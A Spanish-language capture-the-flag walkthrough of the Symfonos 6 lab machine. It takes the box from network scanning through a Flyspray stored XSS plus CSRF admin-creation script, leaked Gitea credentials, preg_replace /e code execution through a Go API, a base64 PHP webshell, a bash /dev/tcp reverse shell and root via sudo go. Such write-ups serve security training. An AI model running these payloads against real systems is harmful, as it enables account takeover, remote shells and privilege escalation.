Symfonos 6
La IP puede variar: en algún momento hubo que reiniciar el entorno, así que en las capturas y comandos podría aparecer una dirección distinta. Sustitúyela por la de tu instancia.
TL;DR. Un Flyspray 1.0 con un XSS almacenado en el campo real name deja que el administrador, al abrir nuestro perfil, ejecute un JavaScript que crea una cuenta admin (XSS + CSRF). Dentro, una tarea filtra las credenciales de Gitea deachilles(achilles:h2sBr9gryBunKdF9); su repositoriosymfonos-blogrevela unpreg_replacecon el modificador/ey una API en Go (puerto 5000) para editar posts: encadenando ambas cosas se consigue RCE comoapache. La contraseña deachillesse reutiliza para migrar de usuario, y unsudo goremata la caja por GTFOBins.
Reconocimiento
Escaneo inicial
Al ser una máquina de red local, el primer paso es localizarla. El barrido ARP la saca por el fabricante de la MAC:
sudo arp-scan -I eth0 --localnet --ignoredups --macfile=/usr/share/arp-scan/ieee-oui.txt
Interface: eth0, type: EN10MB, MAC: 00:0c:29:a0:4d:d4, IPv4: 192.168.1.80
192.168.1.1 2c:70:4f:14:4e:c7 (Unknown)
192.168.1.136 b0:a4:60:cf:91:26 Intel Corporate
192.168.1.161 00:0c:29:23:6a:d5 VMware, Inc.
9 packets received by filter, 0 packets dropped by kernel
Ending arp-scan 1.10.0: 256 hosts scanned in 2.613 seconds. 9 respondedping -c 1 192.168.1.161
64 bytes from 192.168.1.161: icmp_seq=1 ttl=64 time=0.731 ms
1 packets transmitted, 1 received, 0% packet loss, time 0msTTL 64 sin decrementar → Linux en la misma red. Con eso hecho, el escaneo TCP completo:
sudo nmap -sS -n -Pn -p- --min-rate 5000 -vvv --open 192.168.1.161
Discovered open port 3306/tcp on 192.168.1.161
Discovered open port 22/tcp on 192.168.1.161
Discovered open port 80/tcp on 192.168.1.161
Discovered open port 3000/tcp on 192.168.1.161
Discovered open port 5000/tcp on 192.168.1.161
PORT STATE SERVICE REASON
22/tcp open ssh syn-ack ttl 64
80/tcp open http syn-ack ttl 64
3000/tcp open ppp syn-ack ttl 64
3306/tcp open mysql syn-ack ttl 64
5000/tcp open upnp syn-ack ttl 64
MAC Address: 00:0C:29:23:6A:D5 (VMware)Cinco puertos, y el ttl 64 sin decrementar (la máquina está en la misma red, sin saltos de por medio) apunta a Linux. Los nombres de servicio que pone nmap en esta primera pasada, ppp y upnp, no son detección real: son solo lo que dice /etc/services para esos números de puerto. Para saber qué hay de verdad detrás hace falta la segunda pasada:
nmap -p22,80,3000,3306,5000 -sCV 192.168.1.161
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.4 (protocol 2.0)
| ssh-hostkey:
| 2048 0e:ad:33:fc:1a:1e:85:54:64:13:39:14:68:09:c1:70 (RSA)
| 256 54:03:9b:48:55:de:b3:2b:0a:78:90:4a:b3:1f:fa:cd (ECDSA)
|_ 256 4e:0c:e6:3d:5c:08:09:f4:11:48:85:a2:e7:fb:8f:b7 (ED25519)
80/tcp open http Apache httpd 2.4.6 ((CentOS) PHP/5.6.40)
|_http-title: Site doesn't have a title (text/html; charset=UTF-8).
|_http-server-header: Apache/2.4.6 (CentOS) PHP/5.6.40
| http-methods:
|_ Potentially risky methods: TRACE
3000/tcp open http Golang net/http server
| fingerprint-strings:
| GetRequest:
| Set-Cookie: i_like_gitea=d2128e61859301d5; Path=/; HttpOnly
|_ <title> Symfonos6</title>
3306/tcp open mysql MariaDB 10.3.23 or earlier (unauthorized)
5000/tcp open http Golang net/http server
|_http-title: Site doesn't have a title (text/plain).Aquí hay dos datos que van a decidir toda la caja y conviene no pasarlos por alto:
- El 80 corre PHP 5.6.40. Es una versión ya sin soporte, y en concreto es anterior a PHP 7, que es donde se eliminó el modificador
/edepreg_replace. Que ese modificador siga existiendo aquí es lo que hace posible el vector de ejecución de código que veremos después. nmapno dice "Gitea" en el 3000: diceGolang net/http server, que es solo el lenguaje del servidor. Quien lo identifica es un detalle escondido en elfingerprint-strings, la cookiei_like_gitea, junto al títuloSymfonos6. El 5000 es otro servicio en Go, pero sin título ni cookie que lo delate, así que de momento es una incógnita.
Confirmamos la pila del 80 con whatweb, que no añade sorpresas pero cierra la identificación:
Los cinco puertos se recogen con extractPorts:
extractPorts scan
Extracting information ...
IP Address: 192.168.1.161
Open ports: 22,80,3000,3306,5000
Ports copied to clipboardwhatweb http://192.168.1.161
http://192.168.1.161 [200 OK] Apache[2.4.6], Country[RESERVED][ZZ],
HTTPServer[CentOS][Apache/2.4.6 (CentOS) PHP/5.6.40], IP[192.168.1.161], PHP[5.6.40]Wappalyzer añade el sistema operativo, que whatweb deja implícito en la cabecera:

Web servers Apache HTTP Server 2.4.6
Programming languages PHP 5.6.40
Operating systems CentOSPHP 5.6.40 merece una nota: es una rama sin soporte desde 2018, y es justo la que todavía admite el modificador /e de preg_replace que acaba abriendo la máquina.
El código fuente del 80
La portada solo muestra una imagen a pantalla completa. Antes de fuzzear nada se mira el código fuente, que es gratis y a veces trae regalo:

<body>
<img src="image.jpg">
<!-- Don't waste your time checking for steg -->
</body>El autor de la máquina deja un aviso explícito: la imagen no esconde nada, no hay esteganografía que buscar. Es un descarte gratis, y ahorra la media hora de rigor que normalmente se le dedica a un .jpg solitario en una portada vacía.
Fuzzing web: /flyspray
Con la esteganografía descartada, toca enumerar rutas. El primer barrido, con el diccionario por defecto de dirsearch, devuelve casi nada:
dirsearch -u http://192.168.1.161/ --exclude-status=403,404
Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 25 | Wordlist size: 11460
Target: http://192.168.1.161/
[13:07:07] 301 - 235B - /posts -> http://192.168.1.161/posts/
Task CompletedUn solo resultado con un diccionario de 11 460 palabras. En este punto es fácil concluir que la web no tiene más y pasar a otro puerto, y sería un error: lo único que dice ese resultado es que no hay nada en esas 11 460 palabras. Así que se repite el barrido con un diccionario dos órdenes de magnitud más grande:
gobuster dir -u http://192.168.1.161/ -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 100 -b 404 -x php --add-slash
/cgi-bin/ (Status: 403) [Size: 210]
/icons/ (Status: 200) [Size: 74409]
/posts/ (Status: 500) [Size: 943]
/flyspray/ (Status: 200) [Size: 25771]
Progress: 126653 / 441130 (28.71%)Ahí está lo que faltaba: /flyspray/, un gestor de incidencias (bug tracker), que el primer diccionario no contenía. De paso, /posts/ responde un 500, un error del servidor, no un 200: la página existe pero algo se rompe al generarla, dato que más adelante encaja del todo.
Entrando a /flyspray aparece un gestor de incidencias con una sola tarea visible y, arriba a la derecha, un formulario de acceso con enlace de registro:

El registro está abierto, que es lo primero que hay que comprobar en cualquier aplicación de este tipo:


New User Account has been created.
You may now attempt to login.
Note that the global preferences might require your account to be approved by an admin.
If you cannot login, this is probably why.Ese aviso final es una pista sobre el modelo de la máquina: hay un administrador que revisa cuentas, es decir, alguien que va a mirar lo que nosotros escribamos.
De la aplicación a su versión
Con el nombre del producto, el reflejo es buscar vulnerabilidades conocidas:
searchsploit flyspray

Exploit Title
------------------------------------------------------------------
Flyspray 0.9 - Multiple Cross-Site Scripting Vulnerabilities
Flyspray 0.9.7 - 'install-0.9.7.php' Remote Command Execution
Flyspray 0.9.9 - Information Disclosure/HTML Injection / Cross-Site Scripting
Flyspray 0.9.9 - Multiple Cross-Site Scripting Vulnerabilities
Flyspray 0.9.9.6 - Cross-Site Request Forgery
Flyspray 1.0-rc4 - Cross-Site Scripting / Cross-Site Request Forgery
Mambo Component com_flyspray < 1.0.1 - Remote File DisclosureHay material, pero todo está atado a versiones concretas, así que el siguiente paso obligado es averiguar cuál corre aquí. Un barrido bajo la propia ruta de la aplicación saca su estructura:
dirsearch -u http://192.168.1.161/flyspray/ --exclude-status=403,404
dirsearch -u http://192.168.1.161/flyspray/docs --exclude-status=403,404
[14:03:39] 200 - 182B - /flyspray/.gitignore
[14:03:41] 200 - 1KB - /flyspray/.travis.yml
[14:03:55] 200 - 78B - /flyspray/composer.json
[14:03:58] 301 - 243B - /flyspray/docs -> http://192.168.1.161/flyspray/docs/
[14:04:03] 200 - 25KB - /flyspray/index.php
[14:04:15] 200 - 3KB - /flyspray/README.md
[14:04:53] 200 - 428B - /flyspray/docs/CHANGELOG.txt
[14:05:02] 200 - 3KB - /flyspray/docs/INSTALL.txt
[14:05:14] 200 - 614B - /flyspray/docs/README.txtEl directorio /docs es el sitio donde una aplicación suele dejar su historial de cambios. El CHANGELOG.txt de esta instalación está vacío de información útil, pero el fichero de actualización sí habla:
La instalación deja accesible su directorio de documentación, que es donde suelen quedarse los ficheros que delatan la versión:

El CHANGELOG.txt decepciona, porque el proyecto dejó de mantenerlo:

We do not update a manual changelog file anymore.
Manual written changelog summaries are shown on Flyspray github releases
https://github.com/Flyspray/flyspray/releasesEl UPGRADING.txt, en cambio, sí:

##Upgrading 0.9.9.* to 1.0* (1.0 alphas, 1.0 betas, Flyspray master branch on github.com)##
Run http://yourflyspray/setup/
in your browser and follow the instructions.
It detects an existing Flyspray flyspray.conf.php and missing third party components (composer).
##Upgrading from 0.9.6 - 0.9.8 to 0.9.9##
...La sección más reciente del fichero es la del salto a 1.0, así que esa es la versión instalada. Es una inferencia, no una prueba directa, pero encaja con el resto: y justo la entrada de searchsploit para la rama 1.0 es la de XSS + CSRF.
Acceso al panel: XSS almacenado + CSRF
El campo "real name" no se sanea
Leemos el exploit antes de lanzar nada, que es lo que separa reproducir una receta de entender un ataque:
searchsploit -x php/webapps/41918.txt
Description :
A vulnerability has been discovered in Flyspray, which can be exploited by malicious people to conduct
cross-site scripting attacks. Input passed via the 'real_name' parameter to '/index.php?do=myprofile' is
not properly sanitised before being returned to the user. This can be exploited to execute arbitrary
HTML and script code in a user's browser session in context of an affected site.
The script is executed on the parameter page AND on any page that allow the user to put a comment.
This XSS vector allow the user to execute scripts to gather the CSRF token
and submit a form to create a new admin
Here's the script :
var tok = document.getElementsByName('csrftoken')[0].value;
var txt = '<form method="POST" id="hacked_form" action="index.php?do=admin&area=newuser">'
txt += '<input type="hidden" name="action" value="admin.newuser"/>'
txt += '<input type="hidden" name="do" value="admin"/>'
txt += '<input type="hidden" name="area" value="newuser"/>'
txt += '<input type="hidden" name="user_name" value="hacker"/>'
txt += '<input type="hidden" name="csrftoken" value="' + tok + '"/>'
txt += '<input type="hidden" name="user_pass" value="12345678"/>'
txt += '<input type="hidden" name="user_pass2" value="12345678"/>'
txt += '<input type="hidden" name="real_name" value="root"/>'
txt += '<input type="hidden" name="email_address" value="root@root.com"/>'
txt += '<input type="hidden" name="verify_email_address" value="root@root.com"/>'
txt += '<input type="hidden" name="group_in" value="1"/>'
txt += '</form>'Ahora el payload deja de ser una caja negra: no es "un exploit de XSS", es un script que lee el token CSRF de la página en la que se ejecuta y con él manda un formulario a index.php?do=admin&area=newuser creando el usuario hacker con contraseña 12345678 y group_in=1, que es el identificador del grupo de administradores. El token es justo lo que hace falta robar: la aplicación lo pide para aceptar el formulario, y desde el navegador de la víctima está a la vista.
El primer intento de inyección, sin embargo, no arranca. Con el clásico de comprobación en el campo real name:
<script>alert("XSS")</script>El propio texto del exploit trae, al final, el JavaScript que hay que colocar: un formulario oculto que se autoenvía contra index.php?do=admin&area=newuser con el csrftoken de la víctima ya incrustado.

var tok = document.getElementsByName('csrftoken')[0].value;
var txt = '<form method="POST" id="hacked_form" action="index.php?do=admin&area=newuser">'
txt += '<input type="hidden" name="user_name" value="hacker"/>'
txt += '<input type="hidden" name="csrftoken" value="' + tok + '"/>'
txt += '<input type="hidden" name="user_pass" value="12345678"/>'
...
document.getElementById("hacked_form").submit();
This will create a new admin account, hacker:12345678La clave está en la primera línea: el csrftoken no se adivina, se lee del DOM de la propia víctima, que es lo que convierte un XSS en un CSRF con token válido.
El primer intento de inyección, sin embargo, no arranca. Con el clásico de comprobación en el campo real name, escrito directamente en el perfil:


<div class="comment_header_infos">
<a href="http://192.168.1.161/flyspray/index.php?do=user&area=users&id=2"><script>alert("XSS")</script></a>
commented on 05.03.2025 13:22
</div>No salta ningún alert. El inspector enseña por qué: el nombre se pinta dentro del <a> que enlaza al perfil del autor del comentario, y ahí el navegador no ejecuta el script. La técnica no era mala, el sitio de la inyección sí, y la solución es la de siempre en estos casos: salir del contexto primero. Cerramos el atributo y la etiqueta antes de abrir la nuestra, y en vez de código en línea cargamos un script externo desde nuestra máquina:
"><script src="http://192.168.1.80/test.js"></script>

El admin ejecuta nuestro JavaScript
Confirmado el XSS, cargamos en test.js el payload del exploit: una petición que registra un usuario nuevo con rol de administrador. Cuando el administrador de Flyspray abre nuestro perfil, su navegador ejecuta el script con su sesión y crea la cuenta por nosotros. Es el patrón XSS + CSRF: nosotros ponemos el código, la víctima pone los privilegios.
cat test.js
python3 -m http.server 80
192.168.1.161 - - [16/Mar/2025 02:36:10] "GET /test.js HTTP/1.1" 200 -Ese 200 es la prueba de que el administrador ha abierto la página y su navegador ha cargado nuestro script. La cuenta que crea es hacker con la contraseña 12345678, tal y como decía el exploit:


Fuga: credenciales de Gitea de achilles
Ya como admin aparece una lista de tareas que antes no se veía. La segunda, FS#2 - self hosted git service, enseña su descripción con solo pasar el ratón por encima:

Task Description
Requires testing | self hosted git service | 0%
Here are my creds in case anyone wants to check out our project!
achilles:h2sBr9gryBunKdF9Al abrirla se confirma de qué servicio son esas credenciales:

achilles:h2sBr9gryBunKdF9Shell como apache: preg_replace /e
Enumerar Gitea (puerto 3000)
Con esas credenciales entramos al Gitea del 3000. La cuenta de achilles tiene dos repositorios:


Leer el código de una aplicación es siempre mejor que adivinar su comportamiento desde fuera, así que los clonamos para revisarlos en local:
git clone http://192.168.1.161:3000/achilles/symfonos-blog
git clone http://192.168.1.161:3000/achilles/symfonos-api
ls
Cloning into 'symfonos-blog' ...
Username for 'http://192.168.1.161:3000': achilles
Password for 'http://achilles@192.168.1.161:3000':
remote: Total 8 (delta 0), reused 0 (delta 0)
Unpacking objects: 100% (8/8), 20.64 KiB | 4.13 MiB/s, done.
Cloning into 'symfonos-api' ...
remote: Total 33 (delta 1), reused 0 (delta 0)
Unpacking objects: 100% (33/33), 9.29 KiB | 951.00 KiB/s, done.
symfonos-api symfonos-blog test.jsEl preg_replace con modificador /e
El index.php de symfonos-blog es el código de la web que corre en /posts/, la misma que respondía 500 en el fuzzing. Leerlo entero cuesta un minuto y lo explica todo:
cat index.php
<?php
include "includes/dbconfig.php";
include "includes/db.php";
$db = new Db();
$result = $db->query("SELECT * FROM `posts` ORDER BY created_at DESC");
?>
...
<?php
while ($row = mysqli_fetch_assoc($result)) {
$content = htmlspecialchars($row['text']);
echo $content;
preg_replace('/.*/e', $content, "Win");
}
?>Conviene leer despacio esa última línea, porque el orden de los argumentos es justo lo contrario de lo que parece: el patrón es /.*/, el reemplazo es $content (el texto del post, que viene de la base de datos) y el sujeto es la cadena "Win". Con el modificador /e, PHP evalúa el reemplazo como código antes de sustituir. Es decir, lo que se ejecuta es el contenido del post: si controlamos ese texto, tenemos ejecución de código en el servidor.
El problema es que la web no ofrece ningún formulario para escribir ni editar posts: no hay registro, ni login, ni panel:

Ahí es donde encaja el otro servicio en Go, el del puerto 5000, cuyo código fuente está en el repositorio symfonos-api. Leerlo es lo que evita adivinar la ruta base, que no es la obvia:
cat api/api.go
func ApplyRoutes(r *gin.Engine) {
api := r.Group("/ls2o4g")
{
apiv1.ApplyRoutes(api)
}
}Un prefijo aleatorio, /ls2o4g, que ningún fuzzing habría encontrado. El siguiente fichero añade la versión y un ping con el que verificar que hemos leído bien:
cat v1.0.go
curl http://192.168.1.161:5000/ls2o4g/v1.0/ping
{"message":"pong"}Confirmado el camino, auth.go y auth.ctrl.go dan la forma del login:


func login(c *gin.Context) {
type RequestBody struct {
Username string `json:"username" binding:"required"`
Password string `json:"password" binding:"required"`
}Y posts.go con posts.ctrl.go, la del método que interesa:

posts.POST("/", middlewares.Authorized, create)
posts.GET("/", list)
posts.GET("/:id", read)
posts.DELETE("/:id", middlewares.Authorized, remove)
posts.PATCH("/:id", middlewares.Authorized, update)
func update(c *gin.Context) {
user := c.MustGet("user").(User)
type RequestBody struct {
Text string `json:"text" binding:"required"`
}
...
if post.UserID != user.ID {
c.AbortWithStatus(403)
return
}
post.Text = requestBody.Text
db.Save(&post)Los dos datos que hacían falta: la autenticación manda usuario y contraseña en JSON, y el PATCH sobre /posts/<id> actualiza el texto de un post siempre que la petición lleve un token válido y el post sea del propio usuario.
curl http://192.168.1.161:5000/ls2o4g/v1.0/auth/login \
-d '{"username":"achilles","password":"h2sBr9gryBunKdF9"}' \
-H "Content-Type: application/json"
{"token":"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE3NDI3MDAwMTMsInVzZXIiOnsiZGlzcGxheV9uYW1lIjoiYWNoaWxsZXMiLCJpZCI6MSwidXNlcm5hbWUiOiJhY2hpbGxlcyJ9fQ.QAwDT4TgXzQzt6kbvTcFDuaxxfWA7B7mfKNpHh0_vtg","user":{"display_name":"achilles","id":1,"username":"achilles"}}Las mismas credenciales del Gitea valen para la API, que es el tipo de reúso que conviene probar siempre. Antes de inyectar nada, comprobamos que el PATCH hace lo que creemos con un texto inofensivo:
curl -s -X PATCH http://192.168.1.161:5000/ls2o4g/v1.0/posts/1 \
-H "Content-Type: application/json" \
-H "Authorization: Bearer <jwt>" \
-d '{"text":"hola"}'
{"created_at":"2020-04-02T04:41:22-04:00","id":1,"text":"hola",
"user":{"display_name":"achilles","id":1,"username":"achilles"}}
symfonos blog | Posts
holaControlamos el contenido del post y el contenido del post se evalúa como PHP. Con eso ya se puede inyectar código:
curl -s -X PATCH http://192.168.1.161:5000/ls2o4g/v1.0/posts/1 \
-H "Content-Type: application/json" \
-H "Authorization: Bearer <jwt>" \
-d '{"text":"system(whoami);"}'
Al recargar /posts/ el resultado del comando aparece en pantalla: lo ejecuta apache.

system(whoami);apache apacheEl preg_replace /e evalúa el PHP inyectado y la página imprime apache: tenemos RCE.
De RCE a webshell y revshell
Ejecutar comandos sueltos a golpe de PATCH es incómodo y frágil, así que el siguiente paso es dejar una webshell en disco. Se genera primero en Base64, porque así el PHP que hay que meter dentro del JSON no lleva ni comillas dobles ni < ni > que compliquen el anidamiento de comillas en la línea de comandos:
echo -n '<?php system($_GET["cmd"]); ?>' | base64PD9waHAgc3lzdGVtKCRfR0VUWyJjbWQiXSk7ID8+Y se escribe con file_put_contents, que crea un fichero nuevo (cmd.php) en lugar de depender del post, cuyo contenido se sobrescribe en cada petición:
curl -s -X PATCH http://192.168.1.161:5000/ls2o4g/v1.0/posts/1 \
-H "Content-Type: application/json" \
-H "Authorization: Bearer <jwt>" \
-d $'{"text": "file_put_contents(\'cmd.php\', base64_decode(\'PD9waHAgc3lzdGVtKCRfR0VUWyJjbWQiXSk7ID8+\'))"}'
{"created_at":"2020-04-02T04:41:22-04:00","id":1,"text":"file_put_contents('cmd.php', base64_decode('PD9waHAgc3lzdGVtKCRfR0VUWyJjbWQiXSk7ID8+'))","user":{"display_name":"achilles","id":1,"username":"achilles"}}Comprobamos que el fichero está donde debe y responde:

http://192.168.1.161/posts/cmd.php?cmd=id
uid=48(apache) gid=48(apache) groups=48(apache)Con la webshell en pie, ya solo queda pedirle una reverse shell. Primero el nc a la escucha:
nc -nlvp 1234Y después el disparo desde el navegador, con el comando codificado en la URL:
http://192.168.1.161/posts/cmd.php?cmd=bash -c "bash -i >& /dev/tcp/192.168.1.80/1234 0>&1"
192.168.1.161/posts/cmd.php?cmd=bash -c "bash -i >%26 /dev/tcp/192.168.1.80/1234 0>%261"
listening on [any] 1234 ...
connect to [192.168.1.80] from (UNKNOWN) [192.168.1.161] 58928
bash: no job control in this shell
bash-4.2$ whoami
apache
bash-4.2$ ls
cmd.php css includes index.phpEscalada de privilegios
Reúso de contraseña: apache -> achilles
La contraseña que achilles filtró en Flyspray era, en teoría, la de su cuenta de Gitea. Probarla como cuenta del sistema cuesta un comando, y funciona:
su achilles # h2sBr9gryBunKdF9
id
bash-4.2$ su achilles
Password:
[achilles@symfonos6 home]$ id
uid=1000(achilles) gid=1000(achilles) groups=1000(achilles),48(apache)Una misma contraseña en el bug tracker, en Gitea, en la API y en la cuenta de sistema: cuatro sitios y un solo secreto.
sudo go
achilles puede ejecutar go como root sin contraseña, un clásico de GTFOBins: go run compila y ejecuta el código que le demos, así que le pasamos un programa que ponga el SUID a /bin/bash.
sudo -l
# (ALL) NOPASSWD: /usr/local/go/bin/go// script.go
package main
import "os/exec"
func main() { exec.Command("chmod", "+s", "/bin/bash").Run() }sudo /usr/local/go/bin/go run script.go
ls -l /bin/bash # -rwsr-sr-x root root /bin/bash
bash -p
# id -> uid=0(root)
# cat /root/proof.txt -> Congrats on rooting symfonos:6!
[achilles@symfonos6 go]$ sudo /usr/local/go/bin/go run script.go
[achilles@symfonos6 go]$ ls -l /bin/bash
-rwsr-sr-x. 1 root root 964544 Apr 10 2018 /bin/bash
[achilles@symfonos6 go]$ bash -p
bash-4.2# whoami
root
bash-4.2# cat proof.txt
Congrats on rooting symfonos:6!Máquina pwneada.
Cadena de ataque
Flyspray 1.0 -> XSS almacenado en "real name" -> el admin ejecuta el JS (CSRF)
└─> se crea una cuenta admin -> tarea FS#2 filtra achilles:h2sBr9gryBunKdF9 (Gitea)
└─> repos symfonos-blog + symfonos-api -> preg_replace /e + API PATCH
└─> RCE como apache -> webshell cmd.php -> revshell
└─> su achilles (reúso) -> sudo go (GTFOBins) -> rootLecciones aprendidas
- Un XSS almacenado + una víctima interna es CSRF con privilegios prestados. El campo real name sin sanear convierte a cualquier admin que abra el perfil en el que crea nuestra cuenta.
- Los secretos "internos" siguen siendo secretos. Poner las credenciales de Gitea en una tarea del bug tracker las expone en cuanto alguien accede al panel.
preg_replacecon/ees RCE latente. El modificador evalúa el reemplazo como PHP; se eliminó en PHP 7 justo por esto, y su sustituto seguro espreg_replace_callback.- Leer el código fuente marca la diferencia. Sin clonar
symfonos-apino se sabría cómo hablar con la API (endpoints, JWT,PATCH) para llegar alpreg_replacevulnerable. sudo goes root. Cualquier binario que compile y ejecute código bajosudopermite un escape trivial.